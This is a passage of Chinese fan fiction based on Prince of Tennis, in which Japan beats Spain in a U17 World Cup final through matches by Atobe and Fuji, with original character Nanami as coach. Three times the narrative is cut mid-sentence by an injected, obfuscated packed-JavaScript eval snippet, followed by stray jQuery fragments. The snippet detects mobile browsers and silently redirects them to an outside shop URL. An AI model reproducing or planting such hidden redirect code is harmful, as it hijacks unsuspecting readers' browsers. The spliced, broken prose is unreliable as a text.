“七海,我们会赢了比赛让你回来的。”不二周助一直睁着蓝眸,目光冷冽。 “啊恩,二阶堂,等着本大爷取得胜利吧!”迹部景吾傲然道,锐利的视线却直直射向越前龙雅,后者只冷笑着。 队首,梅达诺雷与德川和也目光在沉默中交汇,良久—— “和也,我期待着和你的比赛。” 德川和也默然不语。 ...... 第三单打比赛即将开始! “第一场比赛,S3,罗密欧·费尔南德斯VS迹部景吾的比赛开始!” “罗密欧·费尔南德斯,没错吧?”迹部景吾紧盯着对手。 “叫我罗密费尔就好。迹部景吾,我可是对你做了很多调查。你和七海一样,也活得更自由一点如何?”网前,罗密欧拉伸着胳膊随意道。 “罗密费尔,我们的事,还轮不到你管。” 迹部景吾站在底线,一下一下地轻颠着手中的黄色小球,下一刻,他抬手将球高高抛起,上身猛地向后仰去,裹挟着巨大声波威力的一球如同一道闪电般挥向空中! “ガラスの雨に気をつけ。” 开局居然就是冰之帝王! 紧接着,唐怀瑟发球,破灭的圆舞曲,属于迹部景吾的发球绝技频出! 然而—— “15-15!”破灭的圆舞曲被罗密欧轻松回击。 “看来,你对我很了解啊。”迹部景吾目含冰霜。 “很不巧,越是激起我的斗志,我越想彻底将你逼入绝境,还是说,你想打你擅长的持久战?” 明目张胆的挑衅并未能影响对场的紫灰发少年分毫,两边的攻势极其迅猛,小球来回穿梭于赛场两端,在地上一次次砸出浅坑。 几局后,罗密欧似是发现了什么秘密,嘴角浮现出一抹了然的笑意:“果然如此......你的持久力的秘密是,运用了恢复疲劳的方法,IPA呼吸法。” “或许你自己都没发现,你天生就会使用这种方法,不,又或许是环境促使你不得不掌握这种方法,不过,还是放弃持久战吧,景吾!” “我可以无限恢复体力!” 迹部景吾将对场飞来小球奋力回击,旋即发出一声冷笑,“罗密费尔,她早就和我说过了!既然我们都无惧体力消耗,你不如直接使出你的绝技。” “本大爷从不怕直面恐惧!” “既然如此,那就对你自己的精神力说再见吧!” 对场的少年一个响指,迹部景吾陷入了一片虚无空间,五道黑影站在他面前。 那是...... “你内心的恐惧具象化的结果,就是这5个人吗?”罗密欧看到了,站在他身后由他幻化而成的五道身影。 第一道黑影向前迈步,从暗影中走出,出现在他面前。 “神様,我就带走了,迹部君。”穿着西班牙队制服的少年露出一个阴鸷的笑容,浑身散发着猎食者的危险气息。居然是越前龙雅! “呵,越前,没想到能在这里和你交手,正合我意!” “迹部君,我可是会把你的技能吞掉哦。” “啊恩,什么吞噬网球,放马过来!”迹部的眼神变得坚定而锐利,一股强烈的战意在他的周身爆发开来。 然而随着一球又一球的对抗,他似乎逐渐忘了该怎么发出自己的技能,陷入了无措中。 七海坐在西班牙队的教练席上,眼睁睁看着远处对场的迹部景吾突然半跪在地,满头细密的汗水,状态不佳。 己方的罗密欧不紧不慢地做着瑜伽动作,体力又在瞬息间恢复到满格。 “Game西班牙,4-3!” “景吾!”七海下意识起身,死死地咬着下唇。 她的声音离他极远,他却有如心有灵犀般一眼便遥望到了对场边站在教练席前满脸焦急的少女,只那一瞬间,他再次坚定了神色。 “怎么了,景吾,突然又充满斗志了呢。”罗密欧意外地挑了挑眉。 “罗密费尔,站在你身后的人眼中只有本大爷,这就足够了!你的网球不过如此,继续,下一个!” 同一时间,日本队选手席上。 “原来如此,让二阶堂留在西班牙队也是一个好招呢。”乾贞治意味深长道。 “乾学长,为什么这么说?”切原赤也不解。 “呵呵呵,你们没有发现,二阶堂站在西班牙队的教练席上,从迹部的角度正好可以看到她吗。”他诡笑着。 柳莲二帮着解释:“嗯。许多职业网球选手都有类似的习惯,比赛前如果能够将家人或是爱人的位置牢牢记在脑海中,那么比赛时他们就更容易获得内心的平静,从而保持稳定的心理状态。” “手冢和幸村比赛的时候,好像也产生了这样的效果呢。”乾贞治嘴角的笑容进一步变大了,视线在身边和身后的两人之间来回扫射。 而被cue到的两个人,前者坐在雷特鲁身边,面色冷肃看不出心中所想,后者站在选手席上同样沉着一张脸,一言不发。 第二道黑影缓缓浮现! “你有,曾经被剥夺过未来的经历吗?”从暗影中走出来的人是—— 神之子,幸村精市。 “幸村,果然有你。”迹部景吾的面色霎时间冷了下来。 “迹部,手冢和七海的未来早已被我剥夺,你和她的未来,我也不会放过!”幸村精市冷笑着,随意地回击着迹部的来球。 “未来?幸村,你懂什么!”他早就曾瞥见过他和她的未来! “我的未来,只属于我自己!” 然而,对场的幸村精市一如那场日德半决赛一般,他仿佛早已预知未来一般,看似轻易,却次次都精准地将球反击到他预设的球路之外。 “Game西班牙,5-3!” 迹部景吾弓着背,双腿微微发颤,呼吸变得粗重急促。 罗密欧的蓝眸中发射出慑人光芒,蛊惑着,“景吾,我给你一个忠告,要不要听?” “不必了!”他不会放弃,不会再在她面前输掉比赛! 第三道黑影终于也出现在了他面前。 “迹部,现在的你,配吗?”手冢国光穿着德国队的黑红制服,面色冷峻,金边眼镜后的棕黑色瞳孔射出的目光锐利如鹰。 迹部景吾瞳孔骤然缩紧,原来是他! “手冢,我还是那句话,本大爷配不配,轮不到你说!”迹部将抛至空中的小球狠狠击向对场,却在白色气旋中被手冢国光稳稳接住,奋力回击。 “手冢领域,本大爷早已破解,别忘了!”再次回击,小球飞旋至底线,随即狠狠弹起。 “迹部,这就是你全部的实力吗?”手冢国光面色不改,下一瞬,他将手冢领域和手冢魅影融合,实现了至高领域! 不,似乎不止这两重回旋...... “手冢,你的球上附加了......”迹部景吾眼中闪过一丝惊骇。 对场的少年的神色却反常地变得柔和,“是七海的四向回旋启发了我,让我迈向了比至高领域更高一层的境界。” “呵,是她启发的你又如何?”迹部景吾咬牙,“我不会让你得逞!” “既然已经错过了,不如放手,手冢!” 一个又一个凌厉的发球击至对场,却被手冢轻松地击回或是使之出界或是使之消失不见,即使使出冰之世界也找不到丝毫弱点。 “Game西班牙,6-3!” 西班牙拿下第一盘! “景吾,你的网球很帅气,不过,多余的动作太多,就算是和你喜欢的人比,都还差得远呢。”罗密欧随意地挑衅着。 “可恶!”少年抬起手凌乱地擦拭着脸上的汗水,面色越发狰狞。 七海身后的少年们欢呼着,高喊着罗密欧的名字,弗里奥用力挥舞着西班牙队的旗帜,她却坐不住了,起身便打算往日本队的教练席边走去。 她自然没能顺利溜走,下一秒,梅达诺雷又如在西班牙那天一般,猛地一拉,将少女用力按在自己的胸前。 “二阶堂,你现在可是西班牙队的教练,你要去哪里?”他轻俯下身,她的耳畔传来他湿冷的低语。 “梅达诺雷,放开我,我要过去!”她使劲了吃奶的劲试图将脖子下方的胳膊掰开,却徒劳无功,最终无奈坐回到了教练席上。 “神様,比赛结束前还是老老实实呆在这里比较好哦。”越前龙雅斜倚在教练席后的矮墙上,顺手揉了揉少女的头,被她一巴掌拍开后反倒大笑起来。 对场,日本队的少年们,包括坐在长椅上休息的迹部景吾自然也目睹到了这一番景象。 “梅达诺雷那家伙......”平等院凤凰黑着脸。 “呜哇,公主殿下当初就是那样被西班牙队的人劫走的吧!”切原赤也愤愤然。 “喂!迹部!你要输给那群绑走二阶堂的人吗!”宍户亮在观众席不甘地喊道。 “本大爷才不会输!”迹部景吾怒喝着,将毛巾放回长椅,再次拿起球拍走上赛场。 第二盘开始,第四道人影现身! “二阶堂......”迹部景吾手中的球拍滚落在地上,他僵立在了原地。 站在他面前,穿着日本队制服,一头黑发凌乱地飘散着,深紫色瞳孔中透出轻蔑的少女,是二阶堂七海。 “景吾,为什么要缠着我不放呢。”她轻声道,一步步向他逼近。 “是我引诱你吗?” “我曾经向你说过好话吗?” “我不是曾经明明白白告诉过你,我不爱你,而且也不能爱你吗?” “除了家境你还有什么呢,在这片球场上,你根本配不上本小姐!” 对场,一个个凌厉且毫无破绽的球发过来,迹部景吾站在黑暗中,不接球反而仰天长笑起来。 “这是什么恐惧啊,哈哈哈哈哈哈哈!” “二阶堂,本大爷太清楚你的性格,你才不会说这种话!” “更何况,本大爷早已看到了,属于我们的未来!”在罗兰·加洛斯赛场,在日法四分之一决赛赛场,他早就瞥见了未来的一角! 那天,在日法四分之一决赛时,他看到的未来是—— Arena赛场中央,阳光直射而下,照亮了网前的少年们的脸庞。观众席上,“胜者是冰帝!胜者是迹部!”的应援声一阵接一阵。 她披着他的灰白运动服外套和他们站在一起,笑意清浅,她对他说: “景吾,恭喜你获得了全国大赛的优胜。那句话,我们终于实现了。” 那是,属于他们的未来, 属于他们的—— “可能性”。 霎时间,一道闪电般的灵光劈开了少年的脑海。他瞬间清醒过来,一切都豁然开朗——他看到的这些人影,都是未来的他们,是他们变强的可能性。 “本大爷的insight是无敌的!”他再次挥拍回击,每一个动作都蕴含着崭新的力量,一个个来势迅猛,远超上一盘的发球飞至对场! “Game 日本,1-0!” 迹部景吾张狂地笑着:“罗密费尔,该你出场了!” “景吾,不要急,不是还剩一个人吗?”罗密欧却不紧不慢。 最后一道黑影现身。 是,他自己。 “呵,来吧,迹部景吾!” --------------------------- 决赛当日清晨。 迹部景吾站在顶楼,仰头等待着一个人的到来。 冰帝众人躲在不远处的花坛后,窃窃私语。 “没能取胜依然留在决赛团队中,果然迹部的心情还没有整理好吧!” “下克上的精神还不够啊!” “话说回来,迹部桑是和谁约好了在这里见面吗?” 正如少年们所猜测的,很快,一道人影出现在顶楼。 “母亲,把我叫到这里来有什么事?” 站在他对面的,是一位穿着开叉礼服裙的窈窕少妇,一头利落短发,妆容精致,嘴角的小痣为她再添了一分丽色。 “景吾,我从迈克尔那里听说了,你明年不打算去英国留学?” 迹部景吾沉默不语。 她打了个响指。 “萨基尔,把那个东西给我。”从管家手中递到她手上的,赫然是迹部景吾的球拍,他正准备伸手接过—— “景吾,是为了那个女孩子吗?那个,叫七海的女孩子。”迹部瑛子挑眉。 他的面色一沉:“与她无关。” “景吾,你不知道你撒谎的样子,母亲一眼就能看透吗?”迹部瑛子轻笑起来,迹部景吾脸上又僵硬了几分。 “如果你选择了它,就说明,你打算为了那个女孩继续留在日本打网球,甚至放弃英国留学,舍弃家庭。” 花坛后,少年们议论纷纷。 “为了二阶堂不去英国吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369773|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”慈郎诧异道。 “迹部......”忍足侑士蹙眉。 迹部景吾毫不犹豫地拿起球拍。 “她,网球,家庭,我一样都不会舍弃,这三件事对我来说都无比重要。” 迹部瑛子脸上并未露出意外的神色:“选择全部,比选择其中的一条路都要艰辛,景吾,我相信你早已有了觉悟。” “是,我早已有了觉悟。” “那就没办法了呢。”迹部瑛子勾唇浅笑,“替我和小七海问好哦,下次,请她来家里吃饭吧,景吾?”除了她之外,可是早就有人对小七海好奇得不得了呢。 还未等少年答复,远处的直升飞机由远及近,她一手抓住空中的牵引绳,抬高了声量: “景吾,我相信,是你的话一定能做到!” “今后就拜托冰帝网球部的各位多多声援景吾了!” ------------------------ “罗密费尔,选择成为自己的对手,是你棋错一招!” “因为本大爷,比任何人都清楚——” “我自身的可能性!” 迹部景吾呐喊着,追赶着,跑动着,鞋底与硬地摩擦着,一次又一次将对场的自己的来球回击! 【迹部景吾,将你的进化还有未来,超越原有的水平,展现给我看吧!!】 最后一击! 赛场上陷入了一瞬的寂静,对场,罗密欧跌坐在地上,身侧是一个深深的击球痕迹。 “想不到,你居然打倒了自己内心深处所畏惧的东西。”罗密欧缓缓起身。 “是啊,这都托了你的福。” “我或许,已经迈入了新的高度。”少年满头满身的汗水,顺着下颌发梢不断滴落在地面,神情却是前所未有的自信。 “Game日本,3-3!” “Game日本,4-3!” 日本队赶上来了!! 远处为日本队的应援声翻涌而来,望见日本队的观众席上冰帝的少年们笑着哭着围成了一团,七海长舒了口气,向椅背靠去,放松了不少。 “神様,别这么早放松哦。”身后传来了善意的提醒,“罗密欧,还没使出全力呢。” “我知道。但是,也别小瞧了日本队的人呐。”她侧过头,对着越前龙雅浅浅一笑。 球场上,迹部景吾与罗密欧你来我往,一次次将对方逼到底线。分数胶着不下,气氛愈发紧张激烈。 “Game日本,5-4!” “Game西班牙,5-5!” 双方都未显露出疲态,未来的胜利在眼前,谁也不愿后退半步! 她的精神力一如既往幅散至全场,意外捕捉到了鬼和入江的对话。 “我之前,曾经问过他这样一个问题。” “你会选择帅气的死去,还是窝囊地挣扎活下去呢?” 七海轻笑起来,自言自语道:“那大概是帅气地活下去吧。” 她知道的。 这个人,永远能在层层桎梏,无数的不可能中,杀出一条自由之路。 这就是冰帝的帝王, 迹部景吾。 “Game日本,7-5!” “喝啊啊啊啊啊啊!”日本队赛场上,汗水顺着迹部的鬓角与额头滑落,早已沁湿了他的全身。但他丝毫不在乎,只想尽情释放自己的高昂兴致!象征着胜利的嘶吼回荡在球场上空。 日本队拿下第二盘胜利,进入决胜盘! 甫一开场,两边便厮杀不下!两边都在争夺发球权,丝毫不给对方机会! “Game日本,1-0!” “Game西班牙,2-2!” “Game日本,3-2!” “Game西班牙,4-4!” “罗密欧,对自己的对手了如指掌的人,不止我一个!” “景吾,你很棒!” “Game西班牙,5-4!” “Game日本,5-5!” “如果就这样打持久战的话,这场比赛对于能做到无限体力恢复的罗密费尔来说,是占绝对优势的。”越前龙雅分析道。 七海却缓缓开口: “难道你们以为,迹部景吾只会打持久战吗?” “或者说,持久战意味着什么呢。” 下一瞬,一个肉眼无法捕捉的高速球在罗密欧身侧弹起,罗密欧完全没有时间做出反应! 通过见识到未来自己的技巧和攻击模式,得到进一步进化的迹部景吾,他无限进化了! “Game日本,6-5!” 最终的决胜局!迹部景吾蓝灰色的双瞳中,倒映着胜利两字,一球又一球地回击—— “15-0!” “30-0!” “40-0!” 终于到了赛末点,然而,异变骤生。 “景吾,托你的福,我也终于完成了进化......”罗密欧脸上浮现出了一个令人不寒而栗的笑容,他也从穷途末路中走出了自己的路! “彼此彼此,已到闭幕之时了!我会全力以赴打败你!” 迹部景吾将小球高高抛起,赛场上似有雪花飞扬,在空中肆虐呼啸,一片片雪花围绕着他翻飞起舞,那是—— “绝对零度的世界!” 异变再生! “40-15!”他居然被脚绊倒了! “40-30!” “景吾!”七海站了起来。 她已看明白了是怎么一回事,透支未来,也透支了他的肌肉骨骼的承受能力,那是预知的代价。 赛场上,一次又一次地出现了平分,两边紧赶不下,罗密欧拥有重置体力的能力,迹部景吾却陷入了焦灼的持久战中,摔倒再爬起,跪下再爬起。 即使沾满污泥满身伤痛,他的内心也丝毫不屈服! 追赶吧! 奔跑吧! 展翅高飞吧! 最后,超越所有人! 恍惚间,他又看到了另一幕未来之景,那是在三年后率领着日本队与德国队再战的光明未来。 一切力量达到极限又如何,未来,只掌握在他迹部景吾手中!他要向着光明的未来奔赴而去! 还没结束! 还没结束! 下曲球又如何! 最后一球—— “啪嗒。”小球过网落地,四周霎那间一片寂静。 紧接着,一道轻傲不羁的声音响起—— “我说,罗密费尔,沉醉在本大爷的绝技之下吧!!” “比赛结束,日本队获胜!!”为日本队送上的欢呼声在四面八方此起彼伏,仿佛要冲破苍穹,日本队顺利拿下了第一场胜利! 两人在网前见礼。 “景吾,明年要不要和我一起去英国读书?”罗密欧拉伸着胳膊,抛出了邀请。 他正欲回绝——“是七海让我劝你的。” “景吾,其实......”罗密欧凑到迹部跟前,将他的计策娓娓道来。 “呵,原来如此。明年,我也去英国!” “那太棒了!” 接着,不知道为何,两人一同走向西班牙队的选手席边。 “那个日本队的选手去西班牙队那边干嘛啊!” “是去找那个日本队的教练吧,啊不,是西班牙队的教练?好混乱!” 她知道他是来找她。 “景吾,你的关节伤没事吗?”七海快步走到迹部景吾跟前焦急道。 他却问了一个不相干的问题。 “二阶堂,你知道本大爷真正的恐惧是什么吗?”他笑着。 七海愣了愣,正准备思索问题的答案,迹部景吾却自顾自地回答了: “是预见的未来里没有你。” “所以,无论你去哪里,” 他站在西班牙队的教练席前,旁若无人地将少女揽入怀中。 “以后所有的未来, 我都会向你走来。” 135.第 135 章 第二场比赛,第二双打,大曲龙次&远山金太郎pair VS马尔斯&塞达pair。 小金的天衣无缝进一步进化,而尝试着将自己的精神力用在正确道路上的塞达散发出奥林巴斯彩虹之光,搭配马尔斯的狙击能力,在最后一刻强行实现同调,冲破了穷途末路,终于成功拿下一盘! “比赛结束,西班牙获胜!” “塞达,这场比赛没有用伤人网球,我很满意哦。”七海笑着揉了揉少年的脑袋,此刻他终于摘下了面具,露出了自己的本来面目。 “七海姐姐,我也可以和远山金太郎成为正义的伙伴吗?”塞达忐忑道。 “小金肯定会很喜欢你的,以后可以来日本队找他玩。” 对场,远山金太郎擦去眼角的泪痕大笑着冲着西班牙队挥了挥手。 她转过头,不意外地看到了几张欣慰的笑脸,下一瞬,她再次收紧了心神。 比起这些,眼下有一场更重要的比赛—— “第三场比赛,单打2,越前龙雅VS不二周助,比赛开始!” “神様,虽然你盼着日本队赢,不过,我可不想在你面前输掉比赛呐。”越前龙雅轻笑着从矮墙上一跃而下,向网前走去。 “不二君,听说,你是天才?”他随意问道。 白日微风拂过,吹动着不二周助柔软的棕发。清澈如潭水的蓝眸凌厉地凝视着站在球网另一侧的少年,他的面色如利刃般锐利而沉静。 “越前君,为了过去我所失去的网球,打一场吧。” “然后,把七海还回来!” 西班牙选手席边,梅达诺雷的面色似死水般冷鸷,张口就是嘲讽: “二阶堂,这就是日本队派出的单打二?” “看来你们不知道,越前龙雅是天才异端儿,就算把日本队的那群少年们捆在一起,恐怕也不见得是他的对手。” 七海坐在教练席沉默了几秒,缓缓开口: “那我只能说,你们也不懂,天才不二周助为什么被称为天才。” 然而,令所有人始料未及的是,开局第一盘,日本队的棕发少年便被西班牙队打了个6-0。 “Game西班牙,1-0!” ...... “Game西班牙,3-0!” ...... “Game西班牙,6-0!” 日本队的选手席和应援席议论纷纷。 “听说那个日本队少年也是天才,我看也不过如此,完全比不过西班牙队嘛。” “啊,我还赌了日本队赢呢,哪知道日本队会派出这样水平平庸的选手。” “不二,怎么回事啊!”菊丸满脸担忧。 “不二前辈,怎么不使出那些技能?”崛尾抓狂道。 “越前龙雅,他的能力是吞噬网球。”直到这时,通晓内情的一军高中生们才将真相道出,“只要在他面前使出的技能,全部都会被他吞噬掉。” “诶!那不二前辈怎么办!” “而且,你们不觉得奇怪吗。”柳莲二睁开了眼,“不二,他打网球时与其说是刻意不用技能,不如说,他接发球的样子—— “就像一个网球的初学者。” 此话一出,周围的少年们身上纷纷起了一层鸡皮疙瘩。 乾贞治点了点头:“嗯。我也发现了,不二的动作,直到最后几局,才慢慢好起来。” “为什么会这样?!”大石秀一郎张大了嘴。 不解与惊骇盘旋在所有人的心中。 而西班牙队这边—— “哈哈哈哈哈哈哈!天才?二阶堂,这就是你说的天才?”梅达诺雷张开双臂,仰着头,笑容极尽张狂。 少女的嘴角却浮现出一抹诡异的笑容,她翘起二郎腿,食指在椅面上有一下没一下地轻点着: “比赛,从此刻才刚刚开始呐。” 第二盘,场上氛围悄然发生了变化。 原本连接发球也困难的棕发少年不知何时已经可以熟练回击飞至赛场的每一个小球,他的面色不改,只冷静地站在属于自己的战场上,完成每一次刀枪剑戟的拼杀。 这个少年身上,到底发生了什么? --------------------------- 世界杯的某一天,深夜的日本队训练场。 “七海,这么迟了,找我有什么事吗?” 不二周助收到短讯,一到达训练场便望见了独自一人坐在观众席的七海,他加快脚步走到她身边边坐下。 夏夜的空气总是闷热,白炽灯打在空无一人的网球场上,只引来无数的小虫飞蛾扑火般在灯光下飞舞,一次次冲撞着炽热的灯罩。 她遥望着乌云遮蔽不甚璀璨的星空,抛出了一个奇怪的问题。 “周助,如果,我是说如果你真的放弃了网球,将网球相关的能力遗忘得一干二净。那假设某天,你后悔了,又想捡回来的话怎么办呢?” “七海,怎么突然这么问?”不二周助愣了愣,他早已决定,不再放弃网球,这份礼物,他绝不放手。 “周助,我只是想听听你的答案。” 身侧的少年并没有过多地思考,便给出了答案。 “从头开始。” 她的面色刹那间变得严肃,少女起身,站在了他面前,背着光,她隐入暗影中,只有那双深紫色的瞳孔尤其明亮。 感受到了她面上透出的凝重,不二周助也跟着起身,他睁开了那双湛蓝双眸,定定地直视着她。 两道坚定的视线在昏暗中交汇,她轻启唇: “即使从零开始,要付出极大的努力,经历无数次挣扎吗?” “是的。” “即使你会像一个婴儿一样,从学走路这样简单的事开始吗?” “是的。” “即使所有你拥有的那些技能,你都只能重新领悟吗?” “是的。” “即使在这个过程中,你将会受到无数人的质疑与嘲笑吗?” “是的。” 他的每一次回答,都没有片刻、分毫的犹豫。 七海原本凝重的面容一下子柔和下来,清澈的眼睛里盈满了光彩,快要将周围的昏暗一扫而空,她的唇角轻轻扬起。 “不二周助,我果然没有看错人。” “周助,你远不止天才。” “周助,有一个对手,我需要你去打败,需要你费劲千辛万苦,才有可能打败。” “你愿意应战吗?” 这个问题的答案,他同样不曾踌躇: “七海,我永远愿意为你而战。” 更为自己而战。 ------------------------- 回到赛场上,随着对手实力的不断攀升,越前龙雅在电光火石间终于领悟了这其中的奥秘,笑容阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369774|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸷起来。 “不二君,神様将你的网球基础和能力尽数封印了,对吗?” “越前君,你果然也很厉害呐。”不二周助笑着,声音轻柔,手上的回球动作反之越发凌厉。 而这简简单单的两句话,再次在观众席掀起了滔天巨浪。 “诶!!什么叫把网球基础和能力尽数封印了!”崛尾一声惨叫。 “那岂不是让不二前辈从头开始吗!这样肯定会输掉比赛吧!”切原赤也疯狂挠头,像只无头苍蝇一样在原地乱转。 幸村精市却浅笑着:“赤也,你该相信你的公主殿下。” “啊。二阶堂的决策,自有她的道理。”真田弦一郎也沉着脸点了点头。 “二阶堂教练的计划,我好像已经看懂了呐。”入江奏多扶了扶眼镜,笑容满面。 “本大爷也一样。”迹部景吾跟着轻笑了一声。 鬼十次郎:“入江,解释一下。” “越前君的吞噬网球是吞噬对手‘已有的网球能力’,但,在这样的情况下,他的吞噬网球就完全失去了效力。” “因为他面对的,是一个失去了一切的网球初学者。” 凤长太郎:“可是失去了吞噬网球的越前前辈也很厉害吧!不二前辈变成初学者该怎么赢啊......” “不用担心。”一道熟悉的声音从高处幅散而下,众人闻言转过头—— “小不点!” “越前,你之前去哪了?美国队也没看到你的人,大家还奇怪呢。” “老爸生病住院了,我去陪了一会儿。”越前龙马从高台走下来,简单说明了武士南次郎的情况,顺带解释了七海留在西班牙队的原因。 “越前,为什么说不用担心?”南次郎的话题告一段落,桃城武继续刚才没能发出的疑问。 “Momo学长,”帽檐下的嘴角轻轻勾起。 “不二前辈,即使失去了他的网球,” “也会拼尽全力找回。” 一次又一次,直到站在比过去更高的高峰,望见比过去更远的风景。 一个人无法游向新的地平线,直到他有勇气告别海岸。 “不二,这才是真正的你,这就是你选择的路。”手冢国光坐在后方,眼中的欣赏不曾掩饰。 “Game西班牙,5-4!” “Game日本,5-5!” “Game西班牙,6-5!” “Game日本,6-6!” 我不二周助,要在这场比赛中,赐予自己新生! 少年沿着深藏在记忆中的小路,一步步向前行进着,眼前的重重迷雾不曾阻挡他,被荆棘划出的道道伤口不曾阻挡他。 未来藏在迷雾中,或许看来徒增胆怯,但当他踏足其中,一切便会云开雾散。 那是神赐予他的礼物,亦是他自己寻回的礼物—— 那颗黄色小球,他绝不放手! “第六种回击球——星花火!”不二周助背过身,小球在空中消失,紧接着狠狠砸向对场! “Game日本,7-6!” 第二盘,日本队胜出!! 1-1平,进入决胜盘! “梅达诺雷,我想现在你应该明白了,什么是天才。” “天才从来不只是天赋。” “还有,” “从头开始的勇气,赌一把的魄力,以及走向未知的决心。” 136.第 136 章 全世界都在为了一个消息而沸腾! 日本队战胜西班牙队,取得了世界第一!!! 第二单打,不二周助实现了惊天逆袭,在决胜盘终于再次重新领悟了自己曾与之相伴的能力,光风、狐火球等绝技频出,甚至在此基础上实现了进一步的进化与突破。 第一双打,西班牙队的边博利和弗里奥凭借与生俱来的控场能力配合精妙绝伦的跑酷网球,战胜了毛利寿三郎与越知月光的双打组合,取得胜利。 第一单打,德川和也,在被梅达诺雷的黑暗力量一次次侵蚀压倒后终于突破自我,走到了阿修罗神道的终点,成功证明了仁义也能够征服世界。 这匹黑马,终于踏着满地黄沙,溅起无数尘埃,在万众瞩目之下抵达了胜利的彼岸!! 他们真的弱吗? 事到如今,没有一个人敢说日本队弱。 表演赛,打破德国队旗帜的那一球见证了他们不屈的意志; 循环赛,面对澳大利亚队和希腊队两支强队却依然取得了3:0的胜利证明了他们远超排名的实力; 十六强淘汰赛,接连打败法国队,德国队展露了他们惊人的进化速度; 而总决赛,打赢由武士南次郎亲手带出的无敌舰队西班牙队,更是让世人见识到了日本队夺取世界的决心与破釜沉舟的魄力! 主赛场上空日本队的应援声如浪潮般一阵接一阵,一刻也不曾停歇,橙红的夕阳将整个天际染成梦幻般的色彩,赛场的每一处都被洒满了温暖的光芒。 西班牙队与日本队的少年们走上网前见礼。 第一件事自然是—— “七海,快过来。”不二周助轻笑着冲着球网对面仍穿着西班牙队制服的七海招了招手。 “啊恩,二阶堂,还不快点过来!” “小七海,快来!” “漂亮姐姐,快回来!” “我来了!”她眼含热泪,将西班牙队的制服脱下,交到了梅达诺雷手中,向着他们飞奔而去。 下一秒,她又停在了半路,转过身笑着大喊: “西班牙队的大家,真的打了一场非常精彩的比赛!” “南次郎前辈不在,你们也做得很好了!” 随即,她不再犹豫,回头奔向了属于她和他们的胜利。 少年们站在网前,胸前挂上了象征着冠军的奖牌,一个个接手、传递着属于他们的世界杯冠军奖杯。 主持人一遍遍劝解着,强行按耐住观众席上的选手们试图冲到赛场上的冲动,抹了把额头的汗水,清清嗓子,坚持要将赛后流程走完。 “恭喜日本队夺得U17世界杯的胜利!在采访冠军之前,我们先来采访一下亚军队伍,西班牙队的各位教练选手们,请问你们有什么话要说的吗?” 他将话筒递过去时才意识到,今天西班牙队的教练不在,或者说,已经成了日本队的教练,场面顿时有些尴尬。 好在,梅达诺雷面无表情地伸手接过了话筒—— “歌德曾说过!人类最大的两个敌人,就是恐惧和希望!” 主持人:“?”这话让他怎么接啊! “咳咳,西班牙队确实十分有自己的风格啊。”主持人尬笑着试图圆场。 弗里奥满脸无奈地抽走了梅达诺雷手中的话筒:“意思就是,不要恐惧失败,也不要心怀侥幸的意思啦。” “感谢西班牙队十分有深意的一通发言。那么日本队这边呢?” 主持人忙不迭将话筒讨回递给三船入道,三船入道却直接将话筒递给了站在一边的七海。 他反应极快:“这位是日本队的二阶堂教练吧,您有什么话想对全世界的网球爱好者说的呢?” 或许有人认不全赛场上的那些少年选手们,但不会有人不认识站在赛场上的这位黑发少女。不如说,这次世界杯真正大出风头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369775|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惹来无数议论的人其实是她。 七海清了清嗓子,说出了她为了胜利这一天早准备好的话: “我想,这是一个最好的时代。许许多多优秀而年少的网球选手站在这片赛场上证明了自己对网球的执着与热爱。” “这份执着与热爱不该被辜负,也不该被惨烈的伤病过早地阻拦在胜利之门之外。” “打网球是为了挑战孤独、战胜自我,而不是伤害对手。希望大家能好好考虑到底该打什么样的网球,让这些冉冉升起的新星们共同闪耀的时间久一点,再久一点吧。” 镜头中,她笑意清浅,明净澄澈的紫瞳中透着真诚,柔和的面容在夕阳的映照下竟然美得有些惊心动魄。 比起开幕式那天过于嚣张的发言,今日的一番话却柔软且真诚,反倒让本苦恼地设想着要如何回应她的话的主持人怔愣了几秒。 接过少女递回的话筒,他方才回过神来,完成了闭幕式最后的总结。 突然,一声沉闷的爆炸声响彻云霄,紧接着,璀璨绚烂的烟花在天际绽放开来,花火以晚霞为画布,在夕阳中划过一道道闪烁夺目的弧线。 空中洒下漫天金纸,滞留在观众席和选手席上的少年们再也遏制不住心中的激动,冲到了赛场上。 日本队,西班牙队,德国队,瑞士队,法国队,澳大利亚队...... 此刻的他们已无国别之分,不过是同样热爱着享受着网球运动的少年们,无差别地为赛场上一次次跌倒爬起,越挫越勇的选手们喝彩,也为自己喝彩。 他们在细密的金雨中狂喜地奔跑,互相拥抱,高举双臂,欢呼声此起彼伏,震荡在整个赛场上空。 金色的纸雨一丝丝洒落在他们身上,发丝上,脸颊上,熠熠生辉。 